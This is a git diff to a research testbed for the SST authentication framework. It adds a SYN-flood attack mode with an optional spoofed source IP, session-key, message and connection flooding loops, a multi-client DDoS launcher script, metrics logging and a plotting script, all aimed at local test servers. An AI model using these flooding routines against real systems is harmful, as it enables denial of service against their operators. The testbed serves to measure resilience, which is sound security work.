diff --git a/examples/SST_Testbed/CMakeLists.txt b/examples/SST_Testbed/CMakeLists.txt index 06e4463b..02f30af1 100644 --- a/examples/SST_Testbed/CMakeLists.txt +++ b/examples/SST_Testbed/CMakeLists.txt @@ -8,7 +8,7 @@ add_subdirectory(../../ ${CMAKE_BINARY_DIR}/sst-lib-build) find_package(Threads REQUIRED) add_executable(server server.cpp) -add_executable(client client.cpp) +add_executable(client client.cpp send_syn.cpp metrics.cpp) foreach(prog server client) target_link_libraries(${prog} sst-c-api Threads::Threads) diff --git a/examples/SST_Testbed/README.md b/examples/SST_Testbed/README.md index 0b013cd3..d7c3f627 100644 --- a/examples/SST_Testbed/README.md +++ b/examples/SST_Testbed/README.md @@ -1,5 +1,28 @@ # SST Testbed ---- + +Award-winning testing tool! [1st Place Winner in ESSC at ESWEEK 2025](https://2025.esweek.org/awards-2025/) + +# Directory Structure + +- `clients_dos_attack/` + + Contains the scripts for creating the environment for launching the attacks with multiple clients. + +- `csv_files/` + + Contains the CSV files passed when executing the testbed that are used to specify the attack type. + +- `lib/` + + Contains the files used for tracking the metrics of the DDoS attacks. + +- `metric_logs/` + + Folder for storing the metric logs that are created. + +- `plot_generators/` + + Contains `plot.py` which generates plots for the attack metrics when given metric logs. # Prerequisites ### ***Auth*** @@ -58,7 +81,7 @@ $ git submodule update --init 2. Run `mkdir build && cd build` -3. Run `cmake ..`. +3. Run `cmake ..` - Run `cmake -DCMAKE_BUILD_TYPE=Debug ..` for debugging mode. 4. Run `make` @@ -93,9 +116,9 @@ However, for convenience, DoS attacks with multiple clients have it's own script 2. *[Optional]* Customize `csv_files/basic_messages.csv` to have the client send custom messages to the server. - The format of the input CSV file for this example should be: - - Each entry should be on its own line. - - First, is amount of time spent sleeping (in milliseconds). - - Second, is the message. + - Each entry is on its own line. + - The first value is the amount of time spent sleeping (in milliseconds). + - The second value is the message. - The sleep time and message are always seperated by only a single comma. ``` , @@ -116,14 +139,16 @@ However, for convenience, DoS attacks with multiple clients have it's own script 2. *[Optional]* Customize `csv_files/replay_attack.csv` to have the client send custom messages and replay attacks to the server, - The format of the input CSV file for this attack example should be: - - First and second are same as above. - - Third, is the attack type word, "Replay" (case insensitive). + - Each entry is on its own line. + - The first value is the amount of time spent sleeping (in milliseconds). + - The second value is the message. + - The third value is the attack type, "Replay" in this example (case insensitive). - Fourth, is the sequence number change because this attack revolves around modifying the sequence number. - The formatting for changing the sequence number is "seq++", "seq--", or "seq=#" where # can be any integer. ``` ,,Replay,seq-- ,,REPLAY,seq++ - ,,replay,seq=12 + ,,replay,seq=12 ... ``` @@ -138,15 +163,17 @@ However, for convenience, DoS attacks with multiple clients have it's own script 1. Go to `$ROOT/entity/c/examples/SST_Testbed/` -2. *[Optional]* Customize `csv_files/dos_attack_key.csv` to have the client send custom messages and DoS attacks to the server. +2. *[Optional]* Customize `csv_files/dos_attack_key.csv` to have the client send custom messages and a custom number of session key requests to Auth. - The format of the input CSV file for this attack example should be: - - First and second are same as above. - - Third is "DoSK". - - Fourth, is the number of session key requests the client will make to Auth. + - Each entry is on its own line. + - The first value is the amount of time spent sleeping (in milliseconds). + - The second value is the message. + - The third value is the attack type, "DoSK" in this example (case insensitive). + - The fourth value is the number of session key requests the client will send to Auth. ``` ,,DoSK,10000 ,,DOSK,55555 - ,,dosk,123456 + ,,dosk,123456 ... ``` @@ -156,19 +183,21 @@ However, for convenience, DoS attacks with multiple clients have it's own script 5. Run the client in another terminal with `./client ../../server_client_example/c_client.config ../csv_files/dos_attack_key.csv` -## 2.2.2 DoS attack to Server via session key requests (DoSM) +## 2.2.2 DoS attack to Server via Messages (DoSM) 1. Go to `$ROOT/entity/c/examples/SST_Testbed/` -2. *[Optional]* Customize `csv_files/dos_attack_message.csv` to have the client send custom messages and DoS attacks to the server. +2. *[Optional]* Customize `csv_files/dos_attack_message.csv` to have the client send custom messages and a custom number of messages to the server. - The format of the input CSV file for this attack example should be: - - First and second are same as above. - - Third is "DoSM". - - Fourth, is the number of times the message will be sent to the server. + - Each entry is on its own line. + - The first value is the amount of time spent sleeping (in milliseconds). + - The second value is the message. + - The third value is the attack type, "DoSM" in this example (case insensitive). + - The fourth value is the number of times the message will be sent to the server. ``` ,,DoSM,10000 ,,DOSM,55555 - ,,dosm,123456 + ,,dosm,123456 ... ``` @@ -182,15 +211,17 @@ However, for convenience, DoS attacks with multiple clients have it's own script 1. Go to `$ROOT/entity/c/examples/SST_Testbed/` -2. *[Optional]* Customize `csv_files/dos_attack_message.csv` to have the client send custom messages and DoS attacks to the server. +2. *[Optional]* Customize `csv_files/dos_attack_connect.csv` to have the client send custom messages and a custom number of connection attempts to the server. - The format of the input CSV file for this attack example should be: - - First and second are same as above. - - Third is "DoSM". - - Fourth, is the number of times the client should connect to the server using Auth. + - Each entry is on its own line. + - The first value is the amount of time spent sleeping (in milliseconds). + - The second value is the message. + - The third value is the attack type, "DoSC" in this example (case insensitive). + - The fourth value is the number of connection attempts. ``` ,,DoSC,10000 ,,DOSC,55555 - ,,dosc,123456 + ,,dosc,123456 ... ``` @@ -200,6 +231,30 @@ However, for convenience, DoS attacks with multiple clients have it's own script 5. Run the client in another terminal with `./client ../../server_client_example/c_client.config ../csv_files/dos_attack_connect.csv` +## 2.2.4 DoS attack to Auth via SYN Flooding +1. Go to `$ROOT/entity/c/examples/SST_Testbed/` + +2. *[Optional]* Customize `csv_files/dos_attack_syn.csv` to have the client send custom messages and a custom number of SYN packets to Auth. + - The format of the input CSV file for this attack example should be: + - Each entry is on its own line. + - The first value is the amount of time spent sleeping (in milliseconds). + - The second value is the message. + - The third value is the attack type, "DoSSYN" in this example (case insensitive). + - The fourth value is the number SYN packets that will be sent to Auth. + ``` + ,,DoSSYN,10000 + ,,DOSSYN,55555 + ,,dossyn,123456 + ... + ``` + +3. Run `cd build` + +4. Run the server with `./server ../../server_client_example/c_server.config` + +5. Run the client in another terminal with `./client ../../server_client_example/c_client.config ../csv_files/dos_attack_syn.csv` + + ## 2.3 DoS attack with Multiple Clients (DDoS) This attack involves using many clients to connect to the server to create the denial of service. To do that though, the Auth databases and configurations need to be modified to support this. So, also make sure that the ***Auth*** executed before is terminated. @@ -210,7 +265,7 @@ So, also make sure that the ***Auth*** executed before is terminated. 2. *[Optional]* `chmod +x clients_dos_setup.sh` -3. Run `./client_dos_setup.sh -p ` +3. Run `./clients_dos_setup.sh -p ` - `` is the maximum amount of clients that Auth should be able to recognize and is defined by the parameter. - *[Optional]* `` is the password of the generated Auth. - e.g., `./client_dos_setup.sh 3 -p asdf` @@ -223,5 +278,4 @@ So, also make sure that the ***Auth*** executed before is terminated. - The format of the file should match the corresponding format for each attack type given above because the attacks are the same, only that there are now multiple clients doing the attack simultaneously now. - e.g., `./run_clients.sh 3 ../csv_files/dos_attack_connect.csv ` -Each client will be launched in a unique terminal window and will simultaneously perform the attack specified in the input CSV file. - +Each client will be launched in a unique terminal window and will simultaneously perform the attack specified in the input CSV file. \ No newline at end of file diff --git a/examples/SST_Testbed/client.cpp b/examples/SST_Testbed/client.cpp index 3aa6c401..37c193dc 100644 --- a/examples/SST_Testbed/client.cpp +++ b/examples/SST_Testbed/client.cpp @@ -4,11 +4,15 @@ extern "C" { #include +#include #include #include #include -enum AttackType { NONE, REPLAY, DOSK, DOSC, DOSM }; +#include "metrics.hpp" +#include "send_syn.hpp" + +enum AttackType { NONE, REPLAY, DOSK, DOSC, DOSM, DOSSYN }; static AttackType parseAttackType(const std::string& s) { if (s == "REPLAY" || s == "Replay" || s == "replay") return REPLAY; @@ -21,14 +25,43 @@ static AttackType parseAttackType(const std::string& s) { if (s == "DOSM" || s == "DoSM" || s == "DosM" || s == "Dosc" || s == "dosM" || s == "dosm") return DOSM; + if (s == "DOSSYN" || s == "DoSSYN" || s == "DosSYN" || s == "Dossyn" || + s == "dossyn") + return DOSSYN; return NONE; } int main(int argc, char* argv[]) { - if (argc != 3) { - std::cerr << "Usage: " << argv[0] << " " - << std::endl; - exit(1); + // allow: ./client [-metrics] + if (argc < 3 || argc > 5) { + std::cerr << "Usage: " << argv[0] + << " [-metrics] [src_ip]\n"; + return EXIT_FAILURE; + } + + bool metrics = false; + const char* src_ip = NULL; + + // parse optional args starting at argv[3] + for (int i = 3; i < argc; ++i) { + if (std::strcmp(argv[i], "-metrics") == 0) { + metrics = true; + } else if (!src_ip) { + // first flag that isn't metrics is src_ip + src_ip = argv[i]; + } else { + std::cerr << "Unknown or extra option: " << argv[i] << '\n'; + std::cerr << "Usage: " << argv[0] + << " [-metrics] [src_ip]\n"; + return EXIT_FAILURE; + } + } + + if (metrics) { + std::cout << "Metrics logging enabled.\n"; + } + if (src_ip) { + std::cout << "IP enabled: " << src_ip << '\n'; } // Standard SST initialization @@ -71,16 +104,23 @@ int main(int argc, char* argv[]) { SST_print_error_exit("Failed send_secure_message()."); } - // Parse the attack type - std::string attack_type_str = - (comma2 != std::string::npos) - ? line.substr( - comma2 + 1, - (comma3 == std::string::npos - ? std::string::npos - : comma3 - comma2 - - 1)) // if there is a 3rd column, grab it - : ""; // else, use the empty string + std::string attack_type_str; + + if (comma2 != std::string::npos) { + std::size_t start = comma2 + 1; + + if (comma3 == std::string::npos) { + // No 3rd comma: go to the end of the line + attack_type_str = line.substr(start); + } else { + // 3rd comma: grab text between 2nd and 3rd comma + std::size_t len = comma3 - start; + attack_type_str = line.substr(start, len); + } + } else { + // No 2nd comma: use empty string + attack_type_str = ""; + } AttackType attack_type = parseAttackType(attack_type_str); @@ -88,6 +128,10 @@ int main(int argc, char* argv[]) { std::string attack_param = (comma3 != std::string::npos) ? line.substr(comma3 + 1) : ""; + if (metrics) { + sleep(10); + } + switch (attack_type) { case REPLAY: { // Replay Attack @@ -108,26 +152,64 @@ int main(int argc, char* argv[]) { // Quantity of get_session_key requests is the fourth column in // the CSV int repeat = std::stoi(attack_param); + std::string exp_id = "DOSK:repeat=" + std::to_string(repeat); + + // from metrics.hpp + // If the user used the -metrics flag, set up metrics logging + MetricsRow row; + if (metrics) { + metrics_open_new_file(); + metrics_write_header_if_empty(); + row = metrics_begin_row(exp_id); + } // DOS Attack on get_session_key for (int i = 0; i < repeat; ++i) { std::cout << "Getting session key: " << (i + 1) << " of " << repeat << std::endl; + + // Track how long it takes to get the session key + auto t0 = std::chrono::steady_clock::now(); session_key_list_t* s_key_list = get_session_key(ctx, NULL); + auto t1 = std::chrono::steady_clock::now(); + + long dur_us = + std::chrono::duration_cast( + t1 - t0) + .count(); + + if (metrics) { + metrics_add_sample(row, dur_us, s_key_list != NULL); + } + if (s_key_list == NULL) { std::cerr << "Client failed to get session key in DOS " "Key attack.\n" << ::std::endl; - exit(1); + break; } } + + if (metrics) { + metrics_end_row_and_write(row); + } + } break; case DOSC: { // Quantity of secure_connect_to_server requests is the fourth // column in the CSV int repeat = std::stoi(attack_param); + std::string exp_id = "DOSC:repeat=" + std::to_string(repeat); SST_session_ctx_t* session_ctx[repeat]; + + MetricsRow row; + if (metrics) { + metrics_open_new_file(); + metrics_write_header_if_empty(); + row = metrics_begin_row(exp_id); + } + // DOS Attack on secure_connect_to_server for (int i = 0; i < repeat; ++i) { s_key_list = get_session_key(ctx, NULL); @@ -135,43 +217,128 @@ int main(int argc, char* argv[]) { std::cerr << "Client failed to get session key in DOS " "Connect attack.\n" << ::std::endl; - exit(1); + i--; + continue; } std::cout << "Connecting to server: " << (i + 1) << " of " << repeat << std::endl; + // Track how long it takes to connect + auto t0 = std::chrono::steady_clock::now(); session_ctx[i] = secure_connect_to_server(&s_key_list->s_key[0], ctx); + auto t1 = std::chrono::steady_clock::now(); + + long long dur_us = + std::chrono::duration_cast( + t1 - t0) + .count(); + + if (metrics) { + metrics_add_sample(row, dur_us, session_ctx[i] != NULL); + } + if (session_ctx[i] == NULL) { std::cerr << "Client failed to connect to server in DOS " "Connect attack.\n" << ::std::endl; - exit(1); + continue; } - free_session_key_list_t(s_key_list); } + + if (metrics) { + metrics_end_row_and_write(row); + } + } break; case DOSM: { // Quantity of send_secure_message requests is the fourth column // in the CSV int repeat = std::stoi(attack_param); + std::string exp_id = "DOSM:repeat=" + std::to_string(repeat); + + MetricsRow row; + if (metrics) { + metrics_open_new_file(); + metrics_write_header_if_empty(); + row = metrics_begin_row(exp_id); + } // DOS Attack on send_secure_message + unsigned char received_buf[MAX_SECURE_COMM_MSG_LENGTH]; for (int i = 0; i < repeat; ++i) { std::cout << "Sending message: " << message << " (" << (i + 1) << " of " << repeat << ")" << std::endl; + + // Track how long it takes to send the message + // auto t0 = std::chrono::steady_clock::now(); int msg = send_secure_message(const_cast(message.c_str()), message.length(), session_ctx); if (msg < 0) { SST_print_error_exit("Failed send_secure_message()."); } + if (metrics) { + int ret = + read_secure_message(received_buf, session_ctx); + + if (ret < 0) { + std::cerr << "Failed to read secure message." + << std::endl; + continue; + } else if (ret == 0) { + std::cerr << "Connection closed" << std::endl; + continue; + } + + // auto t1 = std::chrono::steady_clock::now(); + + // long dur_us = + // std::chrono::duration_cast(t1 + // - t0).count(); + + // metrics_add_sample(row, dur_us, msg >= 0); + } } + + if (metrics) { + metrics_end_row_and_write(row); + } + } break; + case DOSSYN: { + // SYN Flood Attack to Auth + const char* dst_ip_str = ctx->config.auth_ip_addr; + uint16_t dst_port = 21900; + + int repeat = std::stoi(attack_param); + send_syn_packets(src_ip, dst_ip_str, dst_port, repeat); + + } break; + + // possible other case: + // This code could be useful for making a SYN flood attack to the + // server instead of Auth + // + // for (int i = 0; i < repeat; ++i) { + // int temp_sock = socket(AF_INET, SOCK_STREAM, 0); + // if (temp_sock < 0) { + // SST_print_error_exit("Failed to create socket."); + // } + + // struct sockaddr_in server_addr; + // server_addr.sin_family = AF_INET; + // server_addr.sin_port = htons(ctx->config.server_port); + // server_addr.sin_addr.s_addr = + // inet_addr(ctx->config.server_ip); + + // connect(temp_sock, (struct sockaddr*)&server_addr, + // sizeof(server_addr)); + // // Not closing the socket to keep it in SYN-RECEIVED state case NONE: default: break; diff --git a/examples/SST_Testbed/clients_dos_attack/client_template.config b/examples/SST_Testbed/clients_dos_attack/client_template.config new file mode 100644 index 00000000..3875856a --- /dev/null +++ b/examples/SST_Testbed/clients_dos_attack/client_template.config @@ -0,0 +1,11 @@ +entityInfo.name=net1.client +entityInfo.purpose={"group":"Servers"} +entityInfo.number_key=1 +authInfo.id=101 +authInfo.pubkey.path=../../../../auth_certs/Auth101EntityCert.pem +entityInfo.privkey.path=../../../../credentials/keys/net1/Net1.ClientKey.pem +auth.ip.address=127.0.0.1 +auth.port.number=21900 +entity.server.ip.address=127.0.0.1 +entity.server.port.number=21100 +network.protocol=TCP diff --git a/examples/SST_Testbed/clients_dos_attack/config_generator.js b/examples/SST_Testbed/clients_dos_attack/config_generator.js index 7b3fbb18..d45dc791 100644 --- a/examples/SST_Testbed/clients_dos_attack/config_generator.js +++ b/examples/SST_Testbed/clients_dos_attack/config_generator.js @@ -4,8 +4,8 @@ // Examples: ./configGenerator.js 100 -import fs from 'fs'; -import path from 'path'; +const fs = require('fs'); +const path = require('path'); // Parses the command line arguments const args = process.argv.slice(2); @@ -20,7 +20,7 @@ if (isNaN(count) || count < 1) { process.exit(1); } -const original_config = '../../server_client_example/c_client.config'; +const client_template = 'client_template.config'; const out_dir = '../config'; if (isNaN(count) || count < 1) { @@ -31,9 +31,9 @@ if (isNaN(count) || count < 1) { // Read the input .graph file let lines; try { - lines = fs.readFileSync(original_config, 'utf8').split(/\r?\n/); + lines = fs.readFileSync(client_template, 'utf8').split(/\r?\n/); } catch (err) { - console.error(`Failed to read the original config \"${original_config}\": ${err.message}`); + console.error(`Failed to read the template client config \"${client_template}\": ${err.message}`); process.exit(1); } diff --git a/examples/SST_Testbed/clients_dos_attack/run_clients.sh b/examples/SST_Testbed/clients_dos_attack/run_clients.sh index f9a2d358..59a6f707 100755 --- a/examples/SST_Testbed/clients_dos_attack/run_clients.sh +++ b/examples/SST_Testbed/clients_dos_attack/run_clients.sh @@ -1,50 +1,86 @@ #!/usr/bin/env bash -# runClients.sh -# Usage: ./runClients.sh +# run_clients.sh +# Usage: ./run_clients.sh [source-ip] + +OS=$(uname) launch_terminal() { local cmd="$1" + local use_sudo="$2" # "yes" or "no" + if [[ "$OS" == "Darwin" ]]; then - osascript -e "tell application \"Terminal\" to do script \"$cmd\"" + if [[ "$use_sudo" == "yes" ]]; then + sudo osascript -e "tell application \"Terminal\" to do script \"$cmd\"" + else + osascript -e "tell application \"Terminal\" to do script \"$cmd\"" + fi elif command -v gnome-terminal &> /dev/null; then - gnome-terminal -- bash -c "$cmd; exec bash" & + if [[ "$use_sudo" == "yes" ]]; then + sudo gnome-terminal -- bash -c "$cmd; exec bash" & + else + gnome-terminal -- bash -c "$cmd; exec bash" & + fi elif command -v xterm &> /dev/null; then - xterm -hold -e "$cmd" & + if [[ "$use_sudo" == "yes" ]]; then + sudo xterm -hold -e "$cmd" & + else + xterm -hold -e "$cmd" & + fi else echo "No GUI terminal found; running headless: $cmd" - eval "$cmd &" + if [[ "$use_sudo" == "yes" ]]; then + eval "sudo $cmd &" + else + eval "$cmd &" + fi fi } -if [ $# -ne 2 ]; then - echo "Usage: $0 " +# Require 2 or 3 arguments +if [[ $# -lt 2 || $# -gt 3 ]]; then + echo "Usage: $0 [source-ip]" exit 1 fi -COUNT=$1 +COUNT="$1" CSV="$2" +SRC_IP="${3:-}" # empty if not provided + SERVER_BIN="../build/server" CLIENT_BIN="../build/client" for bin in "$SERVER_BIN" "$CLIENT_BIN"; do - if [ ! -x "$bin" ]; then + if [[ ! -x "$bin" ]]; then echo "Executable not found or not runnable at $bin" exit 1 fi done -OS=$(uname) +# Decide whether to use sudo based on whether src IP is provided +USE_SUDO="no" +if [[ -n "$SRC_IP" ]]; then + USE_SUDO="yes" +fi +# Launch server CFG="../../server_client_example/c_server.config" SHCMD="cd '$(pwd)' && $SERVER_BIN '$CFG'" -launch_terminal "$SHCMD" +launch_terminal "$SHCMD" "$no" +# Launch clients for (( i=0; i -metrics` + +# Metric Log Values + +For the DoS and DDoS attacks, enabling metric logging will create a CSV file in the `SST_Testbed/metric_logs/` directory that contains information regarding the current execution of `client`. The values stored in the metrics log file are: + +1. `exp_id` + + The Experiment ID. This is to differentiate each experiment/attack from one another since there can be multiple attacks during the same execution of `client`. + +2. `ts_start` + + The timestamp of the start of the attack, in microseconds. Useful for logging how long the attack took. + +3. `ts_end` + + The timestamp of the end of the attack, in microseconds. Useful for logging how long the attack took. + +4. `successes` + + The number of times the intended operation succeeeded. The operation is dependent on the attack type that is defined by the user in the `SST_Testbed/csv_files/`. +5. `failures` + + The number of times the intended operation failed. The operation is dependent on the attack type that is defined by the user in the `SST_Testbed/csv_files/`. + +6. `avg_us` + + The average duration of the attack performed, in microseconds. This is calculated by taking the duration of each operation during the attack and summing them up. Then, this sum is divided by the total number of attempted operations (`successes` + `failures`). + +7. `min_us` + + The duration of the fastest operation during the attack, in microseconds. Useful for logging and comparing against `max_us`. + +8. `max_us` + + The duration of the slowest operation during the attack, in microseconds. Useful for logging and comparing against `min_us`. + +9. `attempt_qps` + + The rate of attempted operations per second during the attack. This is calculated by taking the total number of attempted operations (`successes` + `failures`) and dividing it by the total duration of the attack. This total duration is obtained by subtracting `ts_start` from `ts_end` once the attack has finished. + +10. `success_qps` + + The rate of the successful operations per second during the attack. This is calculated by taking `sucesses` and dividing it by the total duration of the attack. This total duration is obtained by subtracting `ts_start` from `ts_end` once the attack has finished. + diff --git a/examples/SST_Testbed/lib/metrics.cpp b/examples/SST_Testbed/lib/metrics.cpp new file mode 100644 index 00000000..9fa5babe --- /dev/null +++ b/examples/SST_Testbed/lib/metrics.cpp @@ -0,0 +1,99 @@ +#include "metrics.hpp" + +#include +#include +#include +#include +#include + +static std::mutex g_mu; +static std::ofstream g_f; +static bool g_open = false, g_header = false; + +#include +#include + +static inline long long epoch_us_now() { + return std::chrono::duration_cast(std::chrono::system_clock::now().time_since_epoch()).count(); +} + +// helper function for metrics_open_new_file() +static bool file_exists(const std::string& path) { + std::ifstream p(path); + return p.good(); +} + +void metrics_open_new_file(const std::string& base) { + std::lock_guard lk(g_mu); + if (g_open) return; + + std::string name = base; + if (file_exists(name)) { + for (int i = 1;; ++i) { + std::string cand = base; + auto dot = cand.rfind('.'); + if (dot == std::string::npos) { + cand += std::to_string(i); + } else { + cand = + cand.substr(0, dot) + std::to_string(i) + cand.substr(dot); + } + if (!file_exists(cand)) { + name = cand; + break; + } + } + } + g_f.open(name, std::ios::out | std::ios::app); + g_open = static_cast(g_f); +} + +void metrics_write_header_if_empty() { + std::lock_guard lk(g_mu); + if (!g_open || g_header) return; + if (g_f.tellp() == 0) { + g_f << "exp_id,ts_start_us,ts_end_us,successes,failures," + "avg_us,min_us,max_us,duration_us,attempt_rate_per_s,success_" + "rate_per_s\n"; + } + g_header = true; +} + +MetricsRow metrics_begin_row(const std::string& exp_id) { + MetricsRow r; + r.exp_id = exp_id; + r.ts_start_us = epoch_us_now(); + r.t0 = std::chrono::steady_clock::now(); + return r; +} + +void metrics_end_row_and_write(MetricsRow& r) { + r.ts_end_us = epoch_us_now(); + auto t1 = std::chrono::steady_clock::now(); + double duration_s = std::chrono::duration_cast >(t1 - r.t0).count(); + long long duration_us_ll = + static_cast(std::llround(duration_s * 1e6)); + + long attempts = static_cast(r.successes + r.failures); + long long avg_us_ll = + attempts ? static_cast(std::llround(r.sum_us / attempts)) + : 0; + if (r.min_us == LONG_MAX) + { + r.min_us = 0; // handle empty + } + + double attempt_rate = + duration_s > 0 ? static_cast(attempts) / duration_s : 0.0; + double success_rate = + duration_s > 0 ? static_cast(r.successes) / duration_s : 0.0; + + std::lock_guard lk(g_mu); + if (!g_open) return; + g_f << r.exp_id << ',' << r.ts_start_us << ',' << r.ts_end_us << ',' + << r.successes << ',' << r.failures << ',' << avg_us_ll << ',' + << static_cast(r.min_us) << ',' + << static_cast(r.max_us) << ',' << duration_us_ll << ',' + << std::fixed << std::setprecision(3) << attempt_rate << ',' + << success_rate << '\n'; +} diff --git a/examples/SST_Testbed/lib/metrics.hpp b/examples/SST_Testbed/lib/metrics.hpp new file mode 100644 index 00000000..4a9cba1d --- /dev/null +++ b/examples/SST_Testbed/lib/metrics.hpp @@ -0,0 +1,40 @@ +#pragma once +#include +#include +#include +#include + +struct MetricsRow { + std::string exp_id; + long long ts_start_us = 0; + long long ts_end_us = 0; + + uint64_t successes = 0, failures = 0; + + // Latency accumulators + long double sum_us = 0.0L; + long min_us = LONG_MAX, max_us = 0; + + // precise duration (steady clock) + std::chrono::steady_clock::time_point t0; +}; + +void metrics_open_new_file( + const std::string& base = "../metric_logs/client_metrics_log.csv"); +void metrics_write_header_if_empty(); + +MetricsRow metrics_begin_row(const std::string& exp_id); + +inline void metrics_add_sample(MetricsRow& r, long long dur_us, bool ok) { + r.sum_us += static_cast(dur_us); + if (dur_us < r.min_us) r.min_us = dur_us; + if (dur_us > r.max_us) r.max_us = dur_us; + if (ok) + ++r.successes; + else + ++r.failures; +} + +// Writes a CSV row with: +// exp_id,ts_start,ts_end,successes,failures,avg_us,min_us,max_us,attempt_qps,success_qps +void metrics_end_row_and_write(MetricsRow& r); diff --git a/examples/SST_Testbed/metric_logs/.gitkeep b/examples/SST_Testbed/metric_logs/.gitkeep new file mode 100644 index 00000000..e69de29b diff --git a/examples/SST_Testbed/plot_generators/README.md b/examples/SST_Testbed/plot_generators/README.md new file mode 100644 index 00000000..430dc75f --- /dev/null +++ b/examples/SST_Testbed/plot_generators/README.md @@ -0,0 +1,54 @@ +# Plot Script — Throughput / Latency vs. Malicious Clients + +This script generates plots showing **Throughput** or **Latency** as a function of the **Number of Malicious Clients**. +Each CSV file can contribute **up to three data points**, corresponding to: +- Row 0 → Config#2 +- Row 1 → Config#3 +- Row 2 → Config#1 + +In throughput mode, the script reads `attempt_rate_per_s`. +In latency mode, it converts `avg_us` to milliseconds. + +## Usage + +Throughput: +``` +python3 plot.py --throughput path/to/csvs_or_dirs +``` + +Latency: +``` +python3 plot.py --latency path/to/csvs_or_dirs +``` + +You may pass: +- Individual CSV files +- Directories containing CSVs +- Glob patterns (e.g., --glob "results/*.csv") +- Recursive scanning (--recursive) + +Example: +``` +python3 plot.py --throughput ../metric_logs/metric_logs_set2/syn +``` + +## CSV Requirements + +Required columns: +- malicious_number +- attempt_rate_per_s (throughput mode) +- avg_us (latency mode; converted to ms) + +Rows missing required columns are skipped. + +## Output + +- Outputs a PDF plot (throughput.pdf or latency.pdf) +- Never overwrites existing files (auto-incremented names) +- Produces a compact, clean figure suitable for reports + +## Summary + +This script aggregates experimental results from many small CSV files and visualizes how +Config#1, Config#2, and Config#3 behave as the number of malicious clients increases. +Ideal for reproducible experiment and benchmark analysis. \ No newline at end of file diff --git a/examples/SST_Testbed/plot_generators/plot.py b/examples/SST_Testbed/plot_generators/plot.py new file mode 100644 index 00000000..98bf2334 --- /dev/null +++ b/examples/SST_Testbed/plot_generators/plot.py @@ -0,0 +1,309 @@ +#!/usr/bin/env python3 +""" +plot.py — Plot throughput or latency vs. number of malicious clients from CSV files. + +Usage: + # Throughput mode (uses attempt_rate_per_s) + python3 plot.py --throughput [ ...] + python3 plot.py --throughput --glob "results/*.csv" + python3 plot.py --throughput --recursive path/to/dir + + # Latency mode (avg_us is converted to milliseconds) + python3 plot.py --latency [ ...] + python3 plot.py --latency --glob "logs/*lat.csv" + + # Example + python3 plot.py --throughput ../metric_logs/metric_logs_set2/syn + python3 plot.py --latency --glob "../metric_logs/metric_logs_set2/*.csv" --logy --inset + +Input format: + - Inputs may be CSV files or directories containing CSVs. + - You may also provide a glob pattern via --glob, and enable directory recursion via --recursive. + - Each CSV may contain up to three rows, strictly in this order: + row 0 -> Config#2 + row 1 -> Config#3 + row 2 -> Config#1 + - Required columns depend on mode: + * Throughput mode: malicious_number, attempt_rate_per_s + * Latency mode: malicious_number, avg_us + - In latency mode, avg_us is converted to milliseconds on the y-axis. + +Plot behavior: + - The script aggregates points from all CSVs into three series: Config#2, Config#3, Config#1. + - It plots “Number of Malicious Clients” on the x-axis against throughput (ops/s) or latency (ms). + - Each CSV contributes up to three points—one per config, if present. + - Both axes use integer-only ticks. + - Y-axis uses linear scale by default; use --logy for logarithmic scale. + - Use --inset to draw a zoomed inset focusing on lower-y regions. + +Output: + - Output is a PDF by default. You can specify a filename via --out; if no extension is given, .pdf is appended. + - The script never overwrites existing files—names auto-increment (e.g., latency.pdf, latency1.pdf, latency2.pdf). + - All figures are rendered in a compact form: the actual drawn area is 80% of the specified --figsize. + You can control base size with --figsize W H. + +Axis options: + - --xlim XMIN XMAX : Clamp x-axis range. + - --ylim YMIN YMAX : Clamp y-axis range (latency mode expects milliseconds). + - --logy : Enable logarithmic scaling for the y-axis. + - --inset : Draw a zoomed inset; useful when Config#1 dominates the scale. + - --inset-max VAL : Manually specify the inset’s upper y-limit (default is auto-calculated). + +Summary: + This script reads multiple CSVs and generates a compact PDF figure showing how throughput or latency + changes as the number of malicious clients increases. CSV structure (row order and required columns) + must match the expected format, and either --throughput or --latency must be specified. +""" +import argparse +import glob +import os +import sys +from typing import List, Dict, Optional +import pandas as pd +import matplotlib.pyplot as plt +from matplotlib.ticker import ScalarFormatter, MaxNLocator +from mpl_toolkits.axes_grid1.inset_locator import inset_axes # For zoomed inset plotting + +# Column names by mode +REQ_TPUT_COLS = ["malicious_number", "attempt_rate_per_s"] +REQ_LAT_COLS = ["malicious_number", "avg_us"] + + +def expand_inputs(inputs: List[str], recursive: bool) -> List[str]: + files: List[str] = [] + for path in inputs: + if any(ch in path for ch in "*?[]"): + files.extend(sorted(glob.glob(path, recursive=recursive))) + continue + if os.path.isdir(path): + pattern = "**/*.csv" if recursive else "*.csv" + search = os.path.join(path, pattern) + files.extend(sorted(glob.glob(search, recursive=recursive))) + elif os.path.isfile(path): + files.append(path) + else: + print(f"[warn] Not found: {path}", file=sys.stderr) + # Deduplicate while preserving order + seen = set() + unique_files: List[str] = [] + for f in files: + if f not in seen: + unique_files.append(f) + seen.add(f) + return unique_files + + +def points_from_three_rows(csv_path: str, mode: str) -> List[Dict[str, float]]: + """ + Reads a CSV file expected to have up to three rows, each corresponding to: + row 0 -> Config#2, row 1 -> Config#3, row 2 -> Config#1. + Returns a list of dicts with keys: label, malicious_number, y. + """ + labels = ["Config#2", "Config#3", "Config#1"] + required = REQ_TPUT_COLS if mode == "throughput" else REQ_LAT_COLS + try: + df = pd.read_csv(csv_path) + except Exception as e: + print(f"[warn] Skipping {csv_path}: {e}", file=sys.stderr) + return [] + + missing = [c for c in required if c not in df.columns] + if missing: + print(f"[warn] {csv_path} missing columns: {missing}", file=sys.stderr) + return [] + + for col in required: + df[col] = pd.to_numeric(df[col], errors="coerce") + df_clean = df.dropna(subset=required) + if df_clean.empty: + print(f"[warn] {csv_path} has no numeric data after cleaning.", file=sys.stderr) + return [] + + points = [] + for i, label in enumerate(labels): + if i >= len(df_clean): + continue + row = df_clean.iloc[i] + try: + x = float(row["malicious_number"]) + if mode == "throughput": + y = float(row["attempt_rate_per_s"]) + else: + y = float(row["avg_us"]) / 1000.0 + points.append({"label": label, "malicious_number": x, "y": y}) + except Exception as e: + print(f"[warn] {csv_path} row {i} ({label}) invalid data: {e}", file=sys.stderr) + continue + return points + + +def unique_path(path: str) -> str: + base, ext = os.path.splitext(path) + candidate = path + i = 1 + while os.path.exists(candidate): + candidate = f"{base}{i}{ext}" + i += 1 + return candidate + + +def ensure_pdf_suffix(path: str) -> str: + base, ext = os.path.splitext(path) + if ext.lower() != ".pdf": + return base + ".pdf" + return path + + +def main(): + ap = argparse.ArgumentParser(description="Plot Throughput or Latency vs Number of Malicious Clients") + mode_group = 